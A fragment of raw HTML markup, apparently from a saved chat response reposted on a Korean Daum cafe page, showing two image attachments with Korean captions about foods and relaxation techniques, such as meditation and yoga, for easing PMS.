src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSdGSNgNfG73jV9uy5Sds46UpqN-qmdfAYIhu6yb38JLEasjO1X0py57nMAmLdp"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.meghantelpner.com/best-foods-for-pms/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTu7sv0G-J493WRb_tWY14b5DJaBEH-EOihnVfdRFzT0OgLlTydyByFUunfhbR838jT7KFZJYJj6rYXvdqwQP5JCAha2FNWwK8XS5gaqFNG"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.meghantelpner.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> healthy foods for PMS </div></div></single-image></response-element></div></span> (PMS에 좋은 음식 )</p><p data-sourcepos="61:1-61:70"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.vulvani.com/en/meditation-for-pms-does-it-work/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="relaxation techniques for PMS " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcToR2ejpsLWx_MGbm5K8R3yhgd3w5I5tuCqYSHMA57TnmgrSBM_Xsnt4qzCkpUd"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.vulvani.com/en/meditation-for-pms-does-it-work/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTcS0bBomERA2DxEGZxP2HMlidEkd7k9SxtxZqHgQ6l-7wTLFpJ-rd60xeD4eK9FiWZX0Rb8JoiiSYbEVODeoPifLZOCmurFHD7"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.vulvani.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> relaxation techniques for PMS </div></div></single-image></response-element></div></span> (PMS 완화를 위한 명상, 요가 등 )</p></div> </div></div>